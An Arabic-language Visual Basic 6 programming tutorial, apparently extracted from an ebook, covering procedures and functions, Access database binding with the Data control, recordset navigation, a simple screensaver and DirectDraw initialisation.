Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd * 

255, Rnd * 255) 
Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd * 
255, Rnd * 255) 
Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd * 
255, Rnd * 255) 
Me.PSet (x + Rnd * 255, y + Rnd * 255), RGB(Rnd * 255, Rnd * 
255, Rnd * 255) 

 ..من الطرق الاخري يمكنك اآتشافها بنفسكو هناك الكثير 
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  اهم احداث الفورم الخاصة بالرسوم      

  

  :الفورم علي الرسوم آل مسح

Me.Cls 

  :الخط سمك فيالتحكم 

Me.DrawWidth = # 

  :مسحها بعد حتي الرسوم اعادة

Form1.AutoReDraw = True 
 

 

   احمد شريف   

  

  تحديد مجال الاجرائات و الدوال

 

وهي الأماآن  Scope الاجراءات والدوال  آالمتغيرات تمامًا لها مجال رؤية
 . التى يمكن نداء الاجراء أو الدالة منه

 Private واجـراءات  خاصـة   Public ,  اجراءات عامة:نوعين  إلى وتنقسم
.. 

 لعامــة هــي التــى يراهــا  البرنــامج فــي أي مكــان منــه الاجــراءات ا •
 ..Public وتستخدم لها الكلمة

 
الاجــراءات الخاصــة هــي التــى تنحــصر رؤيتهــا فــي الملــف الــذى تــم   •

تعريفها فيه سواء  آان نموذج  النافـذة أو وحـدة برمجيـة  وتـستخدم                  
 ..Private  لها الكلمة
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 اعادة استخدام الاجراءات و الدوال

 

ــستطيع          ــك ت ــذة فإن ــوذج  ناف ــف نم ــي مل ــة ف ــراء  أو دال ــك لاج ــد تعريف عن
 . استخدامها  في انحاء البرنامج  أن آانت معرفة على أنها دالة عامة

إذا قررت أن تستخدم هذه الدالة في مشروع آخر فيما بعد فيستحـسن أن              
 Module ..   تقوم بتعريف هذه الدالة في ملف وحدة برمجية

 مـن القائمـة    Add Module ضـافة وحـدة برمجيـة إلـى مـشروعك اختـر      لا
Project .. 

مع البرامج التطبيقية موديل جاهز به بعض الاآـواد و بـه آيفيـة الاسـتخدام                
  ..آما قلنا من قبل

 
  تعريف الاجرائات

 
 
 الاجراءات هي مجموعة من التعليمـات يـتم تنفيـذها عنـد نـداء الاجـراء  ثـم          

  . يعود البرنامج  إلى تنفيذه العادي
 

الفكرة الرئيسية  وراء استخدام الاجراءات  بكفاءة تكمن في تقسيم مهمـة             
البرنامج إلى مهام صغيرة يمكن احتوائها على انفـراد فـي اجـراءات  أو دوال             

 . أو آائنات
  

يؤدى ذلك إلى سهولة اختبار آل اجراء على حـدى وعـدم تكـرار  الكـود بـلا                   
  .داع 

  انشاء الاجرائات الفرعية و استخدامها

لانشاء اجراء مباشرة ضع مؤشر الادخال في نافذة الكود في قسم الاعـلان             
 ..العام
 . واتبعها بمسافة Sub اآتب

  .. Test اآتب اسم الاجراء وليكن
 . لانشاء  الاجراء Enter اضغط

    

 : بالآتي Visual Basic يقوم Enter علىبمجرد الضغط 

 . بعد اسم الاجراء مباشرة ( Arguments ) وضع أقواس المعاملات •
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 . في السطر التالى End sub اضافة عبارة •
 .آتابة اسم الاجراء  الجديد في مربع الأحداث  •

  

  ..الكود مباشرة في نكتب اسمه هذا الاجراء و لنداء

  

       

  

 

   
 

 تمرير البيانات من و الي الاجراء
 

 
  :الاجراء مع البيانات  لتبادلطريقتين هناك
 
التى تظهـر فـي أي مكـان مـن      Public استخدام المتغيرات العامة •

 . الكود ومن ثم يمكن قراءتها وتغييرها  من خلال الاجراء
  

Public Name As String 
 
Sub Test() 
Name = “Ehab” 
End Sub 
 

والتـى يمكـن تمريرهـا مـن      Parameters أو اسـتخدام المعـاملات   •

  .وإلى الاجراء دون الحاجة إلى المتغيرات العامة 
 

Sub Test(Name As String) 
Name = “Ehab” 
End Sub   
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 انهاء الاجراء
 

حتاج  إلى مغادرة الاجراء  دون اآمال تنفيذ بقيـة أوامـره             لسبب أو لآخر قد ت    
  Exit Sub ...يتم ذلك من خلال العبارة

Sub (Name As String) 

If Name = “” Then Exit Sub 

End If 

  استخدام الدوال
  ما هي الدوال؟؟

الدوال هي أسماء محجوزة ومعرفة من قبل الفيجـوال بيـسك لتقـوم بعمـل               
 ..  والقيم المطلقة وغيرهامعين مثل المصفوفات

  
    Mathematics Functions . الدوال الرياضية  •
 String Functions .  دوال سلاسل البيانات  •
 . Date and Time Functions دوال الوقت و التاريخ •
 . Data Type Inspection Functions دوال التحقق من أنواع البيانات •
 Program Output and User Input دوال المـدخلات و المخرجـات   •

Functions . 
 Financial Functions دوال مالية •
  ..دوال متنوعة أخري •
 User Defined Functions ( UDF ) .دوال معرفة من قبل المبرمج  •

 
  انشاء الدوال

 
 

تشبه الدوال الاجـراءات تمامًـا ولكـن الدالـة  ترجـع قيمـة عنـد نـدائها حيـث                     
 . ا في متغير أو استخدامها في تعبير مباشرةيمكن تخزينه

 
ــة        ــذه الحال ــي ه ــراءات  وف ــشاء الاج ــد ان ــع نفــس قواع ــدوال يتب ــشاء ال ان

  :مثال.. Sub  بدلاً  من Function سنستخدم
  

Public Function Sum(X As Integer, Y As Integer) 
If X = 0 Or Y = 0 Then 
Exit Function 
End If 
Sum = X + Y 
End Function 
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 APIدوال 

  ..Application Programming Interface هي اختصار لكلمة APIآلمة 

 APIتستخدم هذه الدوال في اشياء آثيرة تصل الـي المئـات و تعتمـد دوال                
 : و منهاSystemعلي ملفات في 

User32.dll (User Interface Functions) 

Kernel32.dll (Operating System Kernel Functions) 

Gdi32.dll (Graphics Device Interface Functions) 

Shell32.dll (Windows Shell Functions) 

ــع دوال   ــي جمي ــامجي  APIو للحــصول عل ــل برن ــك تحمي  و APIGuide يمكن
APIViewerو اذا واجهت مشاآل في ايجادهما راسلني و سأرسلها لك ..  

 
  اقسام المشروع في قواعد البيانات

فــاليوم تعتمــد البنــوك و ، ميــة آبيــرة جــدا فــي البرمجــةلقواعــد البيانــات اه
إن شـاء االله سـنبدء سلـسله        و، الشرآات الكبري علي قواعد البيانات هـذه      

 Dataة وذلـك بـستخدام أدا  .. الدروس فـي قواعـد البيانـات مـن الـصفر       من
Control.. 

  
في اي مشروع توجـد     ،  أوضح بعض المسميات المهمه و السهله      سوفأولاً  
  .. وهي  أقسام٣

وهى عباره عن مخزن عل القرص : DataBase اناتي البةقاعد :الاول القسم
في الاغلب يتكون من مجموعـه   وهو..  Binary على شكل ملف إما الصلب

 التي تحوي البيانت الحقول وآل جدول يتكون من مجموعه من من الجداول
 mdp لمث ـ DataBase ات فـي ال ف ـلذلك أنـواع آثيـره مـن أنـواع المل     وتوجد

 ..xclو
 

وهـو عبـاره عـن مـدير      Database Management System :القـسم الثـاني  
هـو   Access برنـامج ال  ..قاعده البيانا الذي يسمح لى يالتعامل معها مـثلا  

هـو يقـوم بجميـع    و..Oracle و mdpملفـات  عباره عن مدير قاعـده البيانـات ل  
 أن اطلـع عليـه   التخزين الـصحيع مـن غيـر    ف ليضمن لىلملالعمليات على ا
إذ آان في السابق يجـب   وهو بذلك يسهل على المبرمجين..وعلى تعقيده

 ..على المبرمج ان يتولى هذه العمليه
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لنـصل إلـى    أداه تمكننا من التعامل مع مدير قواعـد البيانـات   :القسم الثالث
 وآل له شغله و أهميـه و بـساطته   قاعده البيانات وتوجد لذلك أدوات آثيره

.. 
وآـل منهـا لـه مقدرتـه      ADO , DAO , OLEDB ,ODBC و DataControl مثل
 DataControl ولكن الكثر شهرة هي ..التعامل مع مدير قواعد البيانات على

 ..لأنها بسيطة و سهلة جدا

  انشاء قاعدة بيانات

  

،  مباشــرةAccessمعظــم المبــرمجين ينــشئون قاعــدة البيانــات عــن طريــق  
 او Access2000فـــاذا آنـــت تـــستخدم ، لا احـــب هـــذه الطريقـــةولكننـــي 
AccessXP      فيجـب عليـك تغييرهـذه القاعـدة للنـوع          ،  او غيره مـن الاصـدارات

لـذلك ارجـح انـشاء القاعـدة عـن          ، الاقدم و قد تنسي او تخطئ اثناء عملها       
  ..طريق برنامج فيجوال بيسيك و هي تعطي نفس النتيجة بل و افضل

-Add فيجوال بيسيك ثم اضغط علي القائمـة         افتح مشروع جديد في    •
Ins ثم Visual Data Manger ،ستظهر لك هذه النافذة: 

  

 :و لأنشاء قاعدة جديدة اضغط •

New > Microsoft Access > Version 7.0 MDB 

مثال سم  ، سيظهر لك صندوق حواري يريد مكان حفظ القاعدة و اسمها         
  ..My Documents و احفظها في Telephoneالقاعدة باسم 
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 و بهـا اسـم و       Table1و لأضافة جدول لقاعدة البيانات وليكن اسـمها          •
 :التليفون نقوم بالاتي

 DataBase فـي نافـذة    Properties نـضغظ بـزر الفئـره الأيمـن علـى      .١
Windo ونختار New Table .. ستظهر لك هذه النافذة: 

  

  ..TableNameلخانة المكتوب بجانبها اآتب اسم الجدول با .٢
 سـتظهر لـك هـذه    Add Fieldلتقـوم باضـافة الحقـول للجـدول تـضغط       .٣

 :النافذة
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ــتم  -٤ ــه     ويـــ ــد نوعـــ ــل وتحديـــ ــم الحقـــ ــال إســـ ــا إدخـــ  ..هنـــ
 .. Text ونوعــه الاســم فمــثلا فــي مثالنــا يكــون إســم الحقــل الأول 

 ..الجــدول  الحقــل إلــىليــتم إضــافه Ok وبعــد عمــل ذلــك نــضغط عــل 
ــو   ــسبه للحقـ ــك بالنـ ــل ذلـ ــوم بعمـ ــدها  لاا لونقـ ــي نريـ ــرى التـ   ..خـ

  
  إلى شاشه أضافه جـدول  نقوم بإغلاق شاشه إضافه حقل فننتقل - ٥ 

عملنـاه علـى الجـدول     ولتثبيت العمل الـذي ..ونلاحظ أن الحقول مضافه 
ــى  ــضغط علــــــــــ   Biled the Table  نــــــــــ
ا نكـون قـد أنـشئنا قاعـده بيانـات      وبهذ ..القاعده ليتم إنشائه فعلياً على

  ..جدولو

 
  ربط قاعدة بيانات بالفيجوال

  

و .. علـى شـريط الأدوات   الموجـوده Data  ة مـن الأدا  Data1 نضيف الكنترول
ــة مــسار القاعــدة التــي   DatabaseName نقــوم بتعــديل الخاصــيه  وبكتاب

 Phones.mdb وهـو  ..نـات ملـف قاعـدت البيا   وذلـك لربطـه مـع   ،  انـشأناها 
ــن ان الخاصــيه   ــد م ــدها نتأآ ــة تحمــل Connect  وبع  .. Accessالقيم

  

يبقى ان  ولكنAccess   يتعامل مع مدير قاعده البيانات DataControl أي ان
ــيه        ــن الخاص ــدول م ــار إســم الج ــوم إختي ــين فنق ــدول مع ــع ج ــه م  نربط

RecordSource يوجد لدينا سوى جدول وآحد وهو ولا Table1..   وبهذا نكـون
  .مع الملف Data قد ربطنا

  :العمل في سنحتاجها التي الكائنات

٢ TextBox ،٢ Label ..ضع هذه الكائنات لتكون بهذا الشكل:  

  

 
مـع الحقـل    Texts الآن قـد جهزنـا الواجهـة وبقـى علينـا أن نـربط ال       ونحـن 

  .. Data1 القاعده وذلك بستخدام الاداه المناسب الموجود في
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وتغيـر  Text1 وذلـك بختيـار   Data1 نـربط الواجـه مـع القاعـده مـن خـلال ال      
له بختيارنا  DataSouce    الخاصيه  Data1       ثـم نقـوم بتحديـد إسـم الحقـل
ةالخاصي خلال وذلك من ..DataField    وإذا آن عملنا صحيح تظهر لنا قائمـه
Table1 الحقول داخل الجدول ولـل    Text1  نخـار Name ونقـوم   ..سـم أى الإ
ختيـار  ا وا تغير الخاصيه لديهلوذلك من خلا Text2 بالعمليه السابقة على 
 نكون قد أنـشئنا أول برنـامج مربـوط   وبهذا  ..Phoneالقيمة  DataField   من
..مـن غيـر آتابـه آـود      بقاعـدت بيانـات وذلـك    ويمكننـا الان مـن إسـتعراص     

ولكننا انـشأنا قاعـدة بيانـات فارغـة لـذا يجـب اولا              ، محتويات قاعدت البينات  
ويمكم ذلك اثناء تشغيل البرنامج بـالكود و هـذا مـا            ، اضافة بعض البيانات لها   

..او عــــن طريــــق آتابتهــــا مباشــــرة ، ســــتعرفه فــــي الــــدرس القــــادم   
 
  
 

 DataControlالخصائص المهمة للاداه 
  

 
  !لو بعد مليون سنةلن اشرحها و:  Nameالخاصية 

خاصـيه تمكننـا مـن أن نحـدد نـوع مـدير قاعـده         وهـى  Connect : ةالخاصـي 
   ..الأداه البيانات آمانريد أو آما تتيحه

ــط ال    DatabaseName:  الخاصــيه ــتم رب ــيه ي ــذه الخاص ــن خــلا ه  وم
DataControl البيانت بإعطائه إسـم ومكـان القاعـده علـى القـرص       بقاعدت

مـع مـدير المقاعـده المحـدد فـى       فـق نـوع القاعـده   ويجـب أن يتوا .. الـصلب 
 Access فى حاله إختيار mdb. فمثلاً نختار ملفات القاعدهConnect  خاصيه
ــا  ..Excel  لمفـــات القاعـــده إذا آـــان نـــوع مـــدير القاعـــده  Xls رونختـ
إذا آان بالإمكان فتح القاعـده   ومن خلالها يمكن تحديد Exclusive: الخاصيه

وهـو تأخـذ   .. الوقـت   و القصد أآثر من مستخدم فى نفسلأآثر من برنامج أ
  : False او True القيم
Ture :ولا يمكـن  ، مفتوحه فقط لمستخدم واحـد فقـط    أى ان قاعدت البيانا

ــستخدم    ــق المـ ــل أن يغلـ ــا قبـ ــستخدم أن يفتحهـ ــه أى مـ  ..الأول عملـ
False : مـن  بالإمكـان  وتعنى أنه.. وهى تلقائيا تكون هيى القيمه الإبتدائيه 

ــستخدمو قاعــدت البيانــت فــى نفــس    ــر مــن مــستخدم أن ي  ..الوقــت أآث
 

  .. وهى خاصيه ذات هدفين RecordSource: الخاصيه
  ..فى وقت التصميم  DataControl يمكن من خلالها إسناد جدول لل •
إى إسـناد   DataControl إلـى ال  SQL والهـدف الثـانى إسـناد جمـل     •

 ..البرمجه  فىإستعلام وطلبات عرض مخصصه تفيد آثيراً
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 بناء السجل الالي
  

 
لانــشاء نمــوذج بيانــات آليــا نقــوم باســتخدام معــالج نمــاذج البيانــات وذلــك   

 :آالآتى
  

 ..Add-Ins من قائمة  Add-InManager اختر الأمر
 ..Add-In Manager يظهر مربع حوار

 ..قر عليها نقرًا مزدوجًاوان Data From Wizard اختر
 Add-Ins ..من  Data Form Wizard اختر أمر

  تظهر أول شاشة •
 

  
 

 Next انقر زر
وفي هذه الشاشة يـتم تحديـد نمـط      DataBase Typeتظهر شاشة باسم 

أم أنهـا    Access قواعد البيانات التى ستتعامل معه هـل هـو قاعـدة بيانـات    
 ..ODBC  وصلة مفتوحةقاعدة بيانات ذات
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 Next.. ثم انقر زر Access اختر

  
تظهرشاشة قاعدة البيانات هذه الـشاشة تمكنـك مـن تحديـد اسـم               •

 ..قاعدة البيانات التى ستسخدمها
 Next اختر قاعدة البيانات ثم انقر الزر

 
وهى شاشة لتحديد  خصائص النموذج   Form تظهر شاشة النموذج •

 .. سيتم انشاؤه من خلال ثلاث مربعاتالذى
 

 
 

  Name.. النموذج اسم
 ..أى طريقة عرض البيانات From Lauout مخطط النموذج

  ..أى الاسلوب المستخدم في انشاء الكود Binding Type نمط الربط
  ..Nextاضغط 

  ..Record Source ستظهر لك شاشة 
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 Record Source تيار جدول البيانات في المربع المنسدل المـسمى قم باخ
   Available Fieds .. ستظهر الحقول الخاصة بهذا الجدول في القائمة 
 

ثم اختر الحقول التى تريد وضعها في النموذج ثم انقر نقرًا مزدوجًـا عليهـا أو      
 Selected Fields..    اضغط السهم لوضعها في القائمة 

 
 Control لتظهـر  الـشاشة الخاصـة باختيـار ادوات الـتحكم      Next  انقـر زر 

Selection..  

 
  

تنتج هذه الـشاشة اختيـار أى ازرار  الـتحكم سـيتم اضـافتها إلـى النمـوذج                   
 ..الذى سيتم انشاؤه

  
 ..للانتقال إلى الخطوة التالية Next انقر زر •

 
ة فلو أردت حفظ الخيـارات      الخطوة الأخيرة لتسجيل  الخطوات السابق      •

الخاصة بانـشاء نمـوذج البيانـات للتعـديل فيهـا فـي وقـت لاحـق قـم                   
 Profile  بتحديد اسم الملف في مربع 

 .. Finish انقر زر
 

بعد انتهائك من هذه الخطوات سـيظهر النمـوذج  الـذى تـم انـشاؤه يحتـوى         
 .على الازرار
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 DBGrideالاداه 

  

لاظهــار مجموعــة ســجلات علــى شــكل ســطور   DBGrid تــستخدم الاداة
 وأعمدة

  :يحقق استخدام الاداة الامكانيات التالية

 التنقل بين السجلات وعرض بياناتها •

التعامل مع هذه البيانات بالحذف أو الاضافة أو التعديل طبقًـا لـشروط              •
 يحددها 

  المبرمج

 :ووظائف آل منها آما يلى DBGrid أهم خصائص الاداة
AllowAddNew :ختيار القيمة True  في مربع الخصائص معناه امكانية حذف

 ..أى سجل يظهر في شبكة البيانات
AllowDelete :اختيار القيمة True    في مربع الخصائص معناه امكانيـة حـذف

 ..أى سجل يظهر في شبكة البيانات
AllowResizing :  اختيـار القيمـة True ي مربـع الخـصائص معنـاه امكانيـة     ف ـ
 .تحجيم الشبكة
 :AllowUpdateاذا اخترت القيمة True   فهذا معناه امكانية تعديل أى سـجل

 ..يظهر في شبكة البيانات
 :Data Sourceتحديد مصدر البيانات.. 

 :Captionاظهارعنوان لشبكة البيانات..  

    

 data control المجموعة مهام الاداخ
  اوامر التنقل

  

التـى   Function و Methods مجموعـه جيـدة مـن    DataControl يوجـد لـل  
وسـهوله   DataControl تمكننا من التعامل مع قاعـده البيانـات المربوطـه ب   

  .مع بعض التدبر

على مجموعه آبيره من الأوامر والإجرآت ولكـن تكـون    DataControl تحتوي
وآل هذه .. ختص بالمعامله مع السجلات مجموعه أوامر ت تحت هذه الأوامر

عند آتابتـك للكـود التـالى    .. فمثلا  Recordset ال الأوامر تكون موجوده فى
ــر   ــن الأوامــ ــره مــ ــه آبيــ ــد مجموعــ ــا   تجــ ــتفاده منهــ ــن الإســ  ..يمكــ
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Data1.Recordset 
 

ونحـن هنـا   .. مجموعـات مـن حيـث الإسـتخدام     وهـذه الأومـر تنقـسم إلـى    
  ..سنشرح أهمها 

 :آخـر  إلـى  سـجل  مـن  الجـدول  داخـل  التنقـل  فـى  متخصصه امرأو مجموعه
يمكننا من الإنتقال من السجل الحـالى إلـى الـسجل     وهو MoveNext الأمر

  :آما يليتنفيذ الأمر بكابه الكود  ومثلاً يمكن.. الذى يليه فى الترتيب 

Data1.Recordset.MoveNext  

 الحالى إلى وهو يمكننا من الإنتقال من السجلMovePrevious الأمر •
  ..ومثلا..التربيب السجل السابق فى

  

Data1.Recordset.MovePrevious 
 

أول سجل فى الجـدول   وهو يمكننا من الإنتقال إلى MoveFirst الأمر •
  ..ومثلاً .. 

٢٨. Data1.Recordset.MoveFirst 
•  

وهو يمكننا من الإنتقال إلى آخر سـجل فـى الجـدول    MoveLast الأمر
 .. ومثلا.. 

Data1.Recordset.MoveLast 

  الحذف و الاضافة والتحديث
  

الحيـث   بالـسجالت مـن   التـى تهـتم   من الأوامـر  هنالك مجموعه وايضا توجد
  :وغيرها ..و التعديل والحذف الأضافه
وهـو  .. الجـدول   وهو يقوم بإضافه سجل جديجد و فـارغ إلـى  AddNew الأمر

 :ومثال عليه..يمثلا إضافه إلى جدول

Data1.Recordset.AddNew 
 ..ثال عليهمو.. وهو يقوم بحذف السجل الذى نقف عليه حالياً Delete الأمر

 
Data1.Recordset.Delete  

 
ويكـون ذلـك   ..وهو يقوم بحفظ التعديلات على لقاعـده فعليـاً    Update. الأمر

فيجـب حفـظ التعـديلات    .. سجل أو التعديل علـى بيانـت سـجل     بعد إضافه
  ..وإلى يسبب خطء.. بعد أى منها   ولا يمكن إستخدامه..فعلياً
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Data1.Recordset.Update 
 

ويمكن إستخدامه فى حالت أننا أردنا لتراجع عن عمل CancelUpdate الأمر
فمثلاً لو قمنا بإضافه سـجل جديـد ولكـن أردنـا أن      ..القاعده  قمنا بهه على

د عمليه تعديل على الـسجل أن  أو إذا أردنا بع.. الأمر  نتراجع فإننا ننفد هذا
فإننـا لـن نـسنفيد مـن      Update تنفيذ الأمـر  ولكن عند.. نتراجع فيمكن ذلك

 ..ومثلا على إستخدامه ..الإمر
 

Data1.Recordset.CancelUpdate 
  

 
 

 البحث داخل القاعدة
  
..  فـى داخـل القعـده    مـن البحـث   أوامر تمكننـا  هنالك مجموعه وأيضاً توجد 

 ..وهى ..  إستخدامهاأو لا يريد SQL لغه لا يعلم  المبرمجحاله أن وذلك فى
 
  
وهـذا الأمـر يعنـى إريـد أن      FindFirst" The Condition as String" الأمـر  •

 String الموضوع على شكل أبحث من أول الجدول وذلك حسب الشرط
محمـد   ويمكن أن يكون هذا الشرط عباره عن أنـه مـثلا الإسـم يكـون     ...

 .. يلى ويعبر عنها بما
  

Data1.Recordset.FindFirst "Name='Ehab'" 
 

أن يوضـع بـين حاصـره علويـه      String يكون قيمـه الـشرط إذا آـان    ويجب أن
ذا آان الشرط عباره عن مقارنـه قيمـه رقميـه فإنـه يكـون      Ehab' واحده مثلا

  ..مثلا 
وبـالطبع  ،  اآتب اسـمها بـدلا منهـا       Nameو عند البحث في خانة اخري غير        

 لاسـتخدامها فتكـون     TextBoxو الافـضل ان تـضع       ، Ehabك تغيير اسم    يمكن
  :االكود هكذا

 

Data1.Recordset.FindFirst “Name=’” & Text1.Text & “’” 
 

  ..و هناك عدة طرق اخري لمكان البحث ولكن لا اهمية لها
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  فحص حالات معينة
  

 البرمجــه فــى تفيــد قــيم ترجــع التــى و Functions مــن مجموعــه وهنالــك
 :معينه  تحالا وتفحص

أى إذا آـان   End of Table وهـو يعنـى فحـص قيمـه ال    EOF الإقتـران  •
 Function وهـذا ال .. السجلات يقف الأن على نهايه الجـدول   مأشر
إذا آنـا نقـف    True وتكون القيمه المرجعـه  False   أو  Trueقيميرجع 

 ..الإستخدام ومثلا على آيفيه.. دول علا أخر سجل فى الج

If Data1.Recordset.EOF Then 
Procedure 
End If 

 

 عـدد  مثـل الإقتران يقـوم بإرجـاع قيمـه ت    وهذا RecordCount الإقتران •
الدالـه فـى    ويمكـن الإسـتفاده مـن هـذه     ..الـسجللات فـى الجـدول    

 ..إستخدامه  عرض عدد السجالت أو فى أمورأخرى ومثال على

Dim NumberOrRecord As Integer 
Data1.Recordset.RecordCoun 
 

الـذى نكـون واقفـين     وهى ترجـع رقـم الـسجل    AbsolutePosition الداله •
الـصفر   ويبدء الترقيم للسجلات من) أى يكون المأشر واقف عليه ( عليه 

ــه       ..  ــى آيفي ــثلا عل ــره وم ــور آثيي ــى أم ــه ف ــتخدام الدال ــن إس  ويمك
 ..الإستخدام

Dim PosLoc As Integer 
PosLoc = Data1.Recordset.AbsolutePosition 

 
 

  انشاء حافظة شاشة
  اهمية شاشة التوقف

ــف    ــن المــستخدمين ان شاشــات التوق ــر م ــات  يظــن الكثي او حافظ
الشاشة وضعت لكي تكون للزينة او المنظر فقـط وهـذا الـشي خطـا       

ر لـوحظ بـان الـشاشات    فعنـد بـدايات انـشاء الكمبيـوت     بطبيعة الحال ،
طبعـا بـسبب بقـاء صـورة      يحصل لها بعض العطل مـن الجوانـب وهـذا   

ساآنة على الشاشة لمدة طويلة جـداً ، تجعـل الفوسـفور الموجـود              
 الشاشة يتوهج بشدة وهذا مايجعل المشكلة تظهر على

  الشاشة؟ فما هو الحل لعدم احتراق
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حتـراق يقـوم   مـن الا  بكل بساطة نقوم بعمل برنامج لحفـظ الـشاشة  
 بإظهار صـور متحرآـة مـن فتـرة إلـى اخـرى او عنـد عـدم اسـتخدام         

  ..الجهاز

ومـسلية فـي نفـس     وبـذلك نتفـادى هـذه المـشكلة بطريقـة مميـزة      
 ..الوقت

متحرآة بل يمكنك وضع  مع ملاحظة ليس شرطا بان تقوم بعمل صور
  ..يتوهج لون خلفية سوداء وبذلك نظمن ايضا بان الفوسفور لن

  نشاء حافظة للشاشةطريقة ا

  Standart.exe.. واختار اولا قم بإنشاء مشروع جديد

 الــي WindowState و الخاصــية None الــي Borderغيــر الخاصــية  
Maximized و الخاصية BackColorالي اللون الاسود .  

  :اضف موديل واآتب به هذا الكود

Public Declare Function SetCursorPos Lib "user32" (ByVal x 
As Long, ByVal y As Long) As Long 
 
Sub Main() 
If App.PrevInstance Then End 
SetCursorPos Screen.Width, Screen.Height 
Form1.Show 
End Sub 

 

  :ثم اآتب هذا الكود في فورم

Private Sub Form_KeyPress(KeyAscii As Integer) 

If KeyAscii <> 0 Then End 
End Sub 
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Private Sub Form_MouseMove(Button As Integer, Shift As 
Integer, x As Single, y As Single) 
Static Mov Integer 
Mov = Mov + 1 
If Mov <= 2 Then Exit Sub 
ElseIf X = Screen.Width And Y = Screen.Height Then Exit 
Sub 
End If 
End Sub 

 
:و الان اآتب هذا الكود في تايمر  

 
Private Sub Timer1_Timer() 
Me.DrawWidth = 2 

Line -(Rnd * 15000, Rnd * 9000), Rnd * 123456789 
End Sub 

  
  اخر خطوة

  

إلـى حـافظ شاشـة آمـا      عندما يصبح البرنامج جـاهزا يمكـن تحويلـة   
 :يلي

  :ستظهر هذه النافذة،  للبرنامجEXE قم بعمل ملف
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 و scr وضـع الامتـداد   قم بوضع اسم الملـف المرغـوب مـع التأآـد مـن     
  .exeليس 

 Installبعد ذلك اضغط علي هذا الملف بـازر اليمـين ثـم اختـر                
 ..ليتم حفظ الحافظ و استخدامه في اي وقت

 : دايرآت إآس 

؟؟؟ مـن منـا لا يملـك علـى جهـازه دايرآـت              من منا لا يعرف دايرآـت إآـس         
إآس ؟؟؟ على الرغم من أن آلنا تقريبا نمتلك دايرآت إآـس علـى جهازنـا                

 لا نعـرف  - أو معظمنـا  -وأننا نحرص على امتلاك أحدث اصـداراتها إلا أننـا          ... 
  ... ما هي دايرآت إآس 

ل التعريفـات والثوابـت والمتغيـرات والـدوا       (ودايرآت إآس هي مجموعة مـن       
ــة مــا يــسمى   ) والوظــائف والترآيبــات والعناصــر  التــي تجتمــع جميعــا مكون

 ) ... مكتبة(

ــا التــي نكتبهــا علــى هيئــة آــود     وهــذه المكتبــة وظيفتهــا اســتقبال أوامرن
وليس هذا آل شيء فهـي آـذلك        ... وتحويلها إلى صورة رسومية تظهر لنا       

كم في ظهور  وتتحVideo Card Memoryتقوم بالتحكم بذاآرة آارت الفيديو 
فاللعبـة التـي تعمـل الآن       .. وهـي مـن صـفاتها المهمـة         ... البرامج الأخـرى    

بل تظل عـي    ... بدايرآت إآس لا يمكن أن يعمل برنامج آخر ويظهر بجوارها           
   ...فقط الظاهرة على الشاشة 

   ...بقى أن نعرف آيف نستخدمها في البرمجة و الان 

 Project < Referencesولتعريف مكتبات دايرآت إآس إلـى برنامجـك نفـتح           
 DirectX7 Type Library for VisualBasic 6.0ستظهر لنا قائمة نختار منهـا  

  ...وبدون تعريف هذه المكتبات لا نستطيع التعامل مع دايرآت إآس ... 

عريــف لنعــرف أن آــائن دايرآــت إآــس ذاتــه لــن نــستخدمه فــي الكــود إلا لت
... ولن نستخدمه في الكود إلاعلى مستوى صغير        ... الكائنات الأخرى فقط    

   ...ولذا فأول ما سنتعلمه هنا هو آيف نعلن عن آائن دايرآت إآس جديد
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   :وذلك يكون آالتالي

Sub CreatDxObject() 
Dim Dx As DirectX7 
Set Dx = New DirectX7 
End Sub  

آالكثير مـن الكائنـات المقبلـة لا يكفـي مجـرد            وذلك لأن آائن دايرآت إآس      
 لنخبـر البرنـامج بأننـا       Newالإعلان عنه فقط ولكن ينبغي استخدام التعريفة        

هذا آل اسـتخدامنا للكـائن      ... سنصنع آائنا جديدا لنستخدمه في برنامجنا     
دايرآت إآس في الوقت الحالي وحان وقت البدء فـي دروس آـائن دايرآـت               

  .آائن مختص بالرسوميات ) آما يقول اسمه(وهو آائن ... درو 

  
 الكائن دايرآت درو

  دايرآت دروانشاء آائن 
  

وذلـك بعـد    ... آائن دايرآت درو آالعديد من الكائنات الأخرى يحتاج للإنـشاء           
إنـشاؤه  ومـن ثـم     ... وبالتالي فعلينا أولا تعريف آائن دايرآت درو        ... التعريف  

ــائن    ...  ــفات آـ ــائف وصـ ــتخدام وظـ ــستطيع اسـ ــا لا نـ ــروف أننـ ــن المعـ ومـ
DirectDraw قبل انشاء هذا الكائن  . 

ثـم نقـوم بانـشاؤه وذلـك بـالكود          ... الآن سنقوم بتعريـف آـائن دايرآـت درو          
   : Genralفي  التالي

Sub CreateDdObject() 
Dim Dd As DirectDraw7 
Set Dd = Dx.DirectDrawCreate(“”) 
End Sub 

الآن وقبل أن نبدأ في التعرف على الكائنات التي تعمـل مـن داخـل دايرآـت       
  : درو يجب أن نتعرف على وظيفتين يتيحهما دايرآت درو وهما 

هـل سيـسمح بالتعامـل مـع       (  تحديد نظام التعامل مـع البـرامج الأخـرى           -١
التـالي لـن    البرامج الأخرى أم أن برنامجنا سيحتل آـارت الفيـديو بالكامـل وب            

  )تظهر البرامج الأخرى بجوار برنامجنا

   DisplayMode تحديد نظام العرض -٢

والآن نحن باعتبارنـا نتعامـل مـن خـلال برمجـة الألعـاب فـسيكون لبرنامجنـا                  
  : صفتان أساسيتان وهما 



ezonet@hotmail.com 90

  . يعمل برنامجنا بحجم الشاشة -١

  . تختفي جميع البرامج الأخرى ولا يظهر سوى برنامجنا -٢

 

 ويتم ذلـك مـن   SetCooperativeLevel methodتم ذلك عن طريق تحديد  وي
   :خلال سطر واحد

Dd.SetCooperativeLevel Form1.hWnd, _ 
DDSCL_ALLOWMODEX Or _ 
DDSCL_EXCLUSIVE Or DDSCL_FULLSCREEN 

  : تأخذ متغيرين SetCooperativeLevelووظيفة 

ي سـتظهر علـى الـشاشة       المتغير الأول رقمي وهو يشير إلى الفورمة الت ـ       
والمتغيـر الثـاني هـو مجموعـة مـن الثوابـت            ...  لهـا    Hwndعن طريق قيمة    

وهــو مجموعــة مــن ... التــي تــشير لكيفيــة التعامــل والتعــاون بــين البــرامج 
وترآيب الثوابت بالطريقة السابقة لن يتغيـر       ... الثوابت لكل ثابت منها معناه      

ك سـأقوم بـشرح هـذه الثوابـت       ولكن على الرغم مـن ذل ـ     ... في آل ألعابك    
 :بقدر ما يسمح به علمي 

